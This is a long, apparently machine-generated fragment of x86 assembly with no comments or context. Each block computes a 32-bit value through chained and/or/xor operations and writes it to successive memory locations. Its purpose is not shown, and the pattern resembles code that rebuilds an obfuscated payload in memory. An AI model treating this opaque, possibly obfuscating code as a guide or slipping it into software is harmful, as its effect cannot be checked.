add ebx, ecx
and eax, 0x353be4a3
and eax, 0x10000
or eax, 0xc1665b5f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f15acd7
and eax, 0x40055
or eax, 0xa205300
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7575a251
or eax, 0x6f54d6b7
and eax, 0x10153186
or eax, 0x80080840
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2982db2d
or eax, 0x36f6662f
and eax, 0xf634dce
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x15e55ce5
xor eax, 0x56f05441
and eax, 0x42801805
or eax, 0x460044a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x552d55f
and eax, 0x401046
or eax, 0x4b1b6910
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6c48c0db
or eax, 0x1ccf9267
and eax, 0x84bd041
or eax, 0x81300c08
mov dword [ebx], eax
add ebx, ecx
or eax, 0x225bb8a1
and eax, 0x6fe07d8a
and eax, 0x20604488
or eax, 0xd4848055
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68612267
or eax, 0xf6b99cf
and eax, 0x6a4291c0
or eax, 0x10006630
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x64048d7b
or eax, 0x2401a29b
and eax, 0x2c47aa93
or eax, 0xc1a80500
mov dword [ebx], eax
add ebx, ecx
or eax, 0xea83138
and eax, 0xe8e734b1
or eax, 0x10104044
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b86edec
and eax, 0x10802024
or eax, 0x6399110
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x27b6f551
and eax, 0x210a4461
or eax, 0x84001188
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d9c560
and eax, 0x74edf76
and eax, 0x9000
or eax, 0xfab12dd5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c589f3
and eax, 0x69040d96
or eax, 8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6a4728ff
and eax, 0x6004089e
or eax, 0x116b2140
mov dword [ebx], eax
add ebx, ecx
or eax, 0xec5b3
and eax, 0x3148bd65
and eax, 0x148ac25
or eax, 0x4a93409a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32a9b70e
or eax, 0x7d87d6a9
and eax, 0x1207008f
or eax, 0x80000110
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13a031ce
or eax, 0x6ff2bea3
and eax, 0xe3623a9d
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18702021
and eax, 0x20100810
or eax, 0x48d2501
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52ca4d33
and eax, 0x42164002
or eax, 0x88891d9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x20f47935
or eax, 0x65f1de65
and eax, 0x48acad54
or eax, 0x90000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x567b7c10
or eax, 0x53d7c613
and eax, 0xcd4c106
or eax, 0x20000080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x258fb7dd
and eax, 0x1524f8bf
and eax, 0x8004
or eax, 0xcba33e6b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3482d89a
and eax, 0xbe8294c1
or eax, 0x540000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x540c6e65
and eax, 0x7251bb6c
and eax, 0x4210a220
or eax, 0x8ca20180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29f663eb
or eax, 0x6a7fd94b
and eax, 0x2624090a
or eax, 0x802400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x278e5ea8
or eax, 0x17213691
and eax, 0x584453a
or eax, 0xc8408044
mov dword [ebx], eax
add ebx, ecx
or eax, 0x594e70da
and eax, 0x588151e
or eax, 0x22200201
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5788707a
or eax, 0x828ee2d
and eax, 0x6220cd60
or eax, 0x80120080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x25d3fdfd
and eax, 0x3454d
or eax, 0xc0200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11f8d428
xor eax, 0x2aad734e
and eax, 0x11502402
or eax, 0x84a90244
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2434187c
and eax, 0x35341deb
and eax, 0x300000
or eax, 0x81c01794
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ad8a1e3
and eax, 0x1a8cf87c
and eax, 0x88070
or eax, 0xa1574b03
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6bb92f92
and eax, 0x638882a1
or eax, 0x14001008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45f972cd
or eax, 0x5d7f3b36
and eax, 0x11cd1b2d
or eax, 0x80000400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x611efece
and eax, 0x40920040
or eax, 0x610
mov dword [ebx], eax
add ebx, ecx
and eax, 0x690ae20d
or eax, 0x1a15e4f5
and eax, 0x5011a490
or eax, 0x5a01900
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3e76b688
or eax, 0x4c1a733b
and eax, 0x5626bfb9
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f8fba23
and eax, 0x12009821
or eax, 0x208945de
mov dword [ebx], eax
add ebx, ecx
or eax, 0x51307a96
and eax, 0x70916125
or eax, 0x80040000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36cb34d0
and eax, 0x441c0534
or eax, 0x28212202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4e4fcf37
or eax, 0x2f89b8
and eax, 0x44298580
or eax, 0x91907041
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x66064d09
and eax, 0x930920c0
or eax, 0x48004222
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x77dece74
and eax, 0x20438886
or eax, 0x43204341
mov dword [ebx], eax
add ebx, ecx
or eax, 0x509f4dc1
xor eax, 0x365d2845
and eax, 0x4004682
or eax, 0xa04d1874
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5cc0fd67
and eax, 0x18088200
or eax, 0x6504824
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41ffca1f
and eax, 0x295c3185
and eax, 0x8000000
or eax, 0x44e29430
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x688a4253
and eax, 0x20489242
or eax, 0x40940994
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x82dbfac
and eax, 0x48b00450
or eax, 0x9200c204
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2b7c6aca
and eax, 0x4394338f
and eax, 0x1840204
or eax, 0x90430941
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5982c5b9
and eax, 1
or eax, 0x8e69a480
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd61b076
and eax, 0x610000
or eax, 0x23124d17
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f7eeee7
and eax, 0x54048060
or eax, 0x21c0400c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x603d8c11
and eax, 0x60000000
or eax, 0x94230f74
mov dword [ebx], eax
add ebx, ecx
or eax, 0x577fcac
and eax, 0xc07748a4
or eax, 0x8000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x26764af4
xor eax, 0x5f95e523
and eax, 0x3c18580
or eax, 0x200c4268
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f29efea
and eax, 0xc402800
or eax, 0x1124470
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60651fca
or eax, 0x491d3dec
and eax, 0x5024558
or eax, 0x82800001
mov dword [ebx], eax
add ebx, ecx
or eax, 0xa7f23f5
and eax, 0x5ae80bd7
and eax, 0xac801c0
or eax, 0xc513c00a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e1b95b6
and eax, 0x21c04404
or eax, 0x1c3aaa80
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5435e3ad
and eax, 0x210a229a
and eax, 0x1020008
or eax, 0x48c07a37
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e348a5b
or eax, 0x73d13d90
and eax, 0x71112b09
or eax, 0x840ec060
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc3502b5
or eax, 0x2b4cd72b
and eax, 0x1220347c
or eax, 0x100000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x589da3aa
and eax, 0x4095365a
or eax, 1
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd63f125
and eax, 0x10000
or eax, 0xaf4e0d84
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3c84b63f
and eax, 0x4000004
or eax, 0x130aeabb
mov dword [ebx], eax
add ebx, ecx
and eax, 0x12176246
xor eax, 0x70aa6a8d
and eax, 0x62a80801
or eax, 0x1514d340
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x556fc071
and eax, 0x1232a38
and eax, 0x30200
or eax, 0x26a0b143
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2e96f8a0
and eax, 0xea0c862
or eax, 0x80000014
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ffd7fdb
and eax, 0x805ca601
or eax, 0x48804042
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f5db994
xor eax, 0x8070aca
and eax, 0xc0d8340c
or eax, 0x40020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a7dd011
or eax, 0x1e7ea85f
and eax, 0x1e780805
or eax, 0xc0000400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x45ec2df4
xor eax, 0x44c317ca
and eax, 0x1203080d
or eax, 0x2440c4c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2d3e49f8
and eax, 0x2f2dc525
or eax, 0x80800002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x40be29c0
xor eax, 0x6b5b48be
and eax, 0x402411
or eax, 0x43b65222
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40e1c0dd
and eax, 0x42e460cf
or eax, 0x4080000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf55e5e0
or eax, 0x38de8fb8
and eax, 0x20022540
or eax, 0xc1201003
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6aafbd53
and eax, 0x3090800
or eax, 0x546014e7
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7e853735
and eax, 0x5254eaac
and eax, 0xa00
or eax, 0x8e331022
mov dword [ebx], eax
add ebx, ecx
or eax, 0x45e7f4c4
and eax, 0x8ea50426
or eax, 0x20000001
mov dword [ebx], eax
add ebx, ecx
and eax, 0xee0b153
and eax, 0x3ddbfb5c
and eax, 0x800000
or eax, 0x258ea56
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7fd6ec5b
and eax, 0x290a850
or eax, 0x34000308
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xbab69b2
or eax, 0x5ff4e8c9
and eax, 0x8e4241
or eax, 0x80001504
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f0f0d88
and eax, 0x8c00188c
or eax, 0x500a0400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ffe1c61
and eax, 0x70b8f626
and eax, 0x40b00000
or eax, 0x8040d3d3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e88a903
xor eax, 0x716c5a2b
and eax, 0xa590a028
or eax, 0x40405603
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5cca0d87
and eax, 0x63d2ca62
and eax, 0x60800802
or eax, 0x8211141
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17d5e3c1
xor eax, 0x4038dece
and eax, 0xd4c0000
or eax, 0x91c212
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4afd1de1
and eax, 0x2e6dbfbe
and eax, 0xe2c1480
or eax, 0xc1920040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x755c15e3
and eax, 0x440c1000
or eax, 0x12e02322
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x22b7ab50
and eax, 0x50418062
or eax, 0x900678c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2235ea1
or eax, 0x7c30aa65
and eax, 0x54116640
or eax, 0x244010a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4f499314
and eax, 0x2000000
or eax, 0xb032cc41
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5604ed58
xor eax, 0x3ad7d0d8
and eax, 0x10416040
or eax, 0x100a3e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x172b480b
and eax, 0x14436214
or eax, 0x48040000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x62cb750f
or eax, 0x6e51b696
and eax, 0x68513602
or eax, 0x11280901
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ed12ac6
and eax, 0x2e490947
or eax, 0x80060038
mov dword [ebx], eax
add ebx, ecx
and eax, 0x69d8fc89
and eax, 0x400800
or eax, 0xc28437e2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x181283b1
and eax, 0x8842ac13
or eax, 0x212842a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7c11a86b
and eax, 0x857a02d8
or eax, 0x803927
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2f7f55cb
or eax, 0x6ee830b9
and eax, 0xcca1089
or eax, 0x9004ca00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5879a34f
and eax, 0x53802
or eax, 0x19080631
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x246ebcc6
or eax, 0x230c1c8
and eax, 0x2a5383dd
or eax, 0xc0080800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4f789741
xor eax, 0x19bdeed7
and eax, 0x41e6249
or eax, 0x24100a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66380c8
and eax, 0x2000040
or eax, 0xa9942e12
mov dword [ebx], eax
add ebx, ecx
or eax, 0x423dd7fb
and eax, 0x8098bb58
or eax, 0x420000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41b94f52
and eax, 0x8020e408
or eax, 0x388c0071
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xede825a
and eax, 0x5130985d
and eax, 0x200001
or eax, 0xac0077e8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ef953d7
or eax, 0x306ab020
and eax, 0x30022280
or eax, 0x80000012
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x34b25543
and eax, 0x80205181
or eax, 0x5801800e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f9858c1
or eax, 0x2fe56edb
and eax, 0xf3c06587
or eax, 0x20020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3785bdc7
and eax, 0x44449820
or eax, 0x31980491
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x28eb66e3
and eax, 0x5d003052
or eax, 0x80080424
mov dword [ebx], eax
add ebx, ecx
and eax, 0x80faa2b
xor eax, 0x64cb0f60
and eax, 0x6c812142
or eax, 0x9020908c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5299d943
xor eax, 0x3af1a29d
and eax, 0x84814010
or eax, 0x2b20046d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50d109d6
xor eax, 0x2e542d55
and eax, 0xc1006082
or eax, 0x24089a00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b3a8f3f
and eax, 0xac3075a5
or eax, 0x1858202
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b7a923d
or eax, 0x47dda026
and eax, 0x859a8190
or eax, 0x8001a00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d4929ab
or eax, 0xb1e17fc
and eax, 0x9060104
or eax, 0x30e14002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x28defd67
and eax, 0x1bf0d21
or eax, 0x42000288
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79a54cc8
or eax, 0x7d7810ab
and eax, 0x3c340c2b
or eax, 0x202c210
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6729bf69
and eax, 0xc7d788a
and eax, 0x45000
or eax, 0xa1a00b70
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x203be14f
and eax, 0x19bb02c
or eax, 0x4a204480
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45ff0e83
xor eax, 0x1ddc667b
and eax, 0x1c634262
or eax, 0x82180104
mov dword [ebx], eax
add ebx, ecx
or eax, 0x69432fca
or eax, 0x59387af3
and eax, 0xec1011e1
or eax, 0x8000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x11382c17
and eax, 0x100000
or eax, 0xe668402e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x489a2e1f
and eax, 0x82002c00
or eax, 0x411d114e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x67f31208
and eax, 0x948144a
and eax, 0x1000
or eax, 0xc8f76286
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3665f135
and eax, 0x44000
or eax, 0xa61205a9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x19d99354
and eax, 0x38085150
or eax, 0x202802
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13034422
and eax, 0x4002
or eax, 0x8df83d29
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a5fdc78
and eax, 0xa18053
or eax, 0x58080084
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4213e80f
or eax, 0x5cd254c2
and eax, 0x46e2880d
or eax, 0x21000120
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6d355a9a
and eax, 0xef0c2b1
or eax, 0x90080000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x523943ab
and eax, 0x64cdbddd
and eax, 0x80080
or eax, 0xada5ae0e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5fe73b8d
xor eax, 0x2b4829c8
and eax, 0x54200601
or eax, 0xa1001b0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x776a76be
and eax, 0x12200620
or eax, 0x89c4604a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x35f26447
and eax, 0x1c06042
or eax, 0x860292b9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6065b36a
and eax, 0xb26a
or eax, 0x48bc4d80
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x70f66d39
and eax, 0x18429012
or eax, 0x43814d2c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3f15e372
and eax, 0x3fd7e36e
or eax, 0x80200001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6aec43d9
and eax, 0x141b0016
or eax, 0x20a40d01
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ae80ced
and eax, 0x800001
or eax, 0x8e0243e2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e1ef2e7
or eax, 0x7af0eee4
and eax, 0x285c7384
or eax, 0x503001b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5192aab9
or eax, 0x1ddd1ccc
and eax, 0x14d71c8c
or eax, 0x2008002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18abe6d8
and eax, 0x10008000
or eax, 0x24286314
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60584427
or eax, 0x3986c1b
and eax, 0x3084800
or eax, 0xc44703c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x368a6445
and eax, 0xb0c00f84
or eax, 0x6104052
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58f904e8
xor eax, 0x6696e08e
and eax, 0x2b2110
or eax, 0x41005445
mov dword [ebx], eax
add ebx, ecx
or eax, 0x585e0689
and eax, 0x64b70fbc
and eax, 0x200200
or eax, 0xac88e061
mov dword [ebx], eax
add ebx, ecx
and eax, 0x80cac4b
or eax, 0x2a0002d5
and eax, 0x28088280
or eax, 0x94a51d22
mov dword [ebx], eax
add ebx, ecx
or eax, 0x710e4a06
or eax, 0x3e187e7f
and eax, 0x71b8b417
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4610a441
xor eax, 0x360b2fad
and eax, 0x1001f03
or eax, 0xf2548004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2805c01e
and eax, 0x20040002
or eax, 0xcb3361a1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3d1c9223
xor eax, 0x3b8a8580
and eax, 0x28c8103
or eax, 0xe0611810
mov dword [ebx], eax
add ebx, ecx
or eax, 0x23e40ef4
and eax, 0x43690072
or eax, 0x8000008
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd218b95
and eax, 0x8210000
or eax, 0x26c6e42e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ded4062
xor eax, 0x4cbb9a81
and eax, 0x12444a60
or eax, 0x88a10100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x11e1367f
xor eax, 0xcd554d
and eax, 0x102c0209
or eax, 0xe78388c2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24f6a301
and eax, 0xb3b3ab8b
or eax, 0x4420
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2aad68eb
xor eax, 0x75ce81c5
and eax, 0x4104800e
or eax, 0x80000081
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6bbce0ed
or eax, 0x5b3983e4
and eax, 0x181d8040
or eax, 0x24c25810
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x618d5f32
and eax, 0x1508160
or eax, 0x2042814
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2fbe4985
xor eax, 0xaf9a8df
and eax, 0x1004102
or eax, 0x48e03cd1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x165be4cb
xor eax, 0x12f99922
and eax, 0x9074e0
or eax, 0x85040014
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f1373c5
xor eax, 0x4ed3211d
and eax, 0x2005009
or eax, 0x84182820
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11e36df8
and eax, 0x115a5d70
or eax, 0x60048206
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7775486e
xor eax, 0x5ec4451
and eax, 0x414149
or eax, 0x5c1804a4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x22293943
xor eax, 0x1b5ccc0e
and eax, 0x24280080
or eax, 0x88530716
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a0419b3
and eax, 0x71d6e38
and eax, 0
or eax, 0xbcb43981
mov dword [ebx], eax
add ebx, ecx
and eax, 0x576dd6c5
or eax, 0x153008bf
and eax, 0x4300828
or eax, 0xaa824340
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b4358e7
and eax, 0x60
or eax, 0x84381407
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1471f4ca
and eax, 0x906050e0
or eax, 0x820010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7b694f82
and eax, 0x2bc303b0
or eax, 0x4042004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x12cf5c52
and eax, 0x2470000
or eax, 0x34309feb
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a69f027
and eax, 0x1e0880
or eax, 0x13c19002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f058059
or eax, 0x468f3b9c
and eax, 0x4c441bc0
or eax, 0x81000420
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x33649127
and eax, 0x56208a41
or eax, 0x1571138
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4041d77
and eax, 0x47a154b
and eax, 0x121542
or eax, 0x30044080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64ef3733
and eax, 0x20060000
or eax, 0xc16108bc
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b4ed608
or eax, 0x771932e9
and eax, 0x8029e4e9
or eax, 0x860002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61374543
and eax, 0x2a58b81
and eax, 0x48100
or eax, 0xe422204
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x793f8632
and eax, 0x54682514
or eax, 0x69000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x11bee04d
and eax, 0x45b0a019
or eax, 0xa000280
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5927291b
xor eax, 0x7dec90b9
and eax, 0x4cc9080
or eax, 0x41200f58
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x29b382d2
and eax, 0x85f1100
or eax, 0x3a002d5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4503c700
or eax, 0x4011d5ae
and eax, 0x44b05003
or eax, 0xa1002800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x75ea47b1
xor eax, 0x57595d16
and eax, 0xa0010000
or eax, 0x4d004c48
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c4b42e0
and eax, 0x804a0c88
or eax, 0x2249010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x201613ce
and eax, 0x24c9880
or eax, 0xd812000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb094fd5
and eax, 0x42791f11
and eax, 0x80000
or eax, 0xbda4a294
mov dword [ebx], eax
add ebx, ecx
or eax, 0x54f4ce2
and eax, 0x8cc584e6
or eax, 0x109
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7371e929
or eax, 0x3fecb182
and eax, 0xfe6104c4
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x12e6a298
and eax, 0xc8848448
or eax, 0x10480083
mov dword [ebx], eax
add ebx, ecx
or eax, 0x12f79e91
and eax, 0xfc8488
or eax, 0x4000024
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7ded62f
xor eax, 0x7852372a
and eax, 0x748c0104
or eax, 0x80431450
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79075daf
or eax, 0x344fcab4
and eax, 0xa40dced2
or eax, 0x2302000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x180ab17e
xor eax, 0x3f87fefe
and eax, 0x1b0d4eac
or eax, 0x40702052
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b1a604c
and eax, 0x1b004040
or eax, 0x40010403
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f78701d
and eax, 0x49004000
or eax, 0x3408b03e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5d79af52
and eax, 0x64686d0c
or eax, 0x840081
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72f8dc5c
or eax, 0x1cf37541
and eax, 0x30333108
or eax, 0x48232
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3627910b
and eax, 0x2002011
or eax, 0x796114ca
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63a5c8c
and eax, 0x56778ea
and eax, 0x1402088
or eax, 0xf89c8705
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58d9f2b3
and eax, 0x1010434
or eax, 0x5c7882c1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x19e392c8
and eax, 0x15921420
or eax, 0xa2044002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x794169ef
and eax, 0x40113d44
or eax, 0x31008032
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1ef47fe3
and eax, 0x7ecc73ac
and eax, 0x34803324
or eax, 0x813b880a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x590016b7
and eax, 0x6cb10009
or eax, 0x2004000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48880fb8
or eax, 0x7aad8709
and eax, 0x30ac0101
or eax, 0x84405844
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2439853
and eax, 0x4088010
or eax, 0x8003e48
mov dword [ebx], eax
add ebx, ecx
or eax, 0x687e7dbf
and eax, 0x2030d154
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4bbf7cc1
or eax, 0x363829d0
and eax, 0x23060c0
or eax, 0x8c78627
mov dword [ebx], eax
add ebx, ecx
and eax, 0x40cd928c
or eax, 0xce56970
and eax, 0xc6589e4
or eax, 0x181400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x23b2b9
and eax, 0x100a0
or eax, 0x6f0e2609
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5f4d970b
xor eax, 0x792fa296
and eax, 0x240143c
or eax, 0x89996202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x14e6b8c6
or eax, 0x56c99627
and eax, 0x1b222
or eax, 0x29240890
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19f903b1
or eax, 0x3b9567f1
and eax, 0x195c1321
or eax, 0x44220004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26cff6a7
and eax, 0x4cb3f407
or eax, 0x48
mov dword [ebx], eax
add ebx, ecx
and eax, 0x622b04bc
and eax, 0x6887ed32
and eax, 0x40010400
or eax, 0xb2700040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x259da942
or eax, 0x1c3331fc
and eax, 0xcf9998b6
or eax, 0x20004001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1329630d
or eax, 0x7b800111
and eax, 0xe198c3be
or eax, 0x20440
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d9b1b05
or eax, 0x82daf8a
and eax, 0x80281de0
or eax, 0x22800004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x19bd7442
xor eax, 0x5b47343b
and eax, 0xa04a400d
or eax, 0x1b05b002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x51203272
and eax, 0x1001002
or eax, 0x6a280a54
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e523dbe
xor eax, 0x5862dca2
and eax, 0x4100110
or eax, 0xd0c71421
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2aab0d99
and eax, 0x24471cd0
and eax, 0x30410
or eax, 0xf75cbb88
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3af220f6
and eax, 0x8c1620
or eax, 0x12426081
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3889d0fc
and eax, 0x2a091411
or eax, 0xc1000102
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13a31872
and eax, 0x31a80423
or eax, 0x4144084
mov dword [ebx], eax
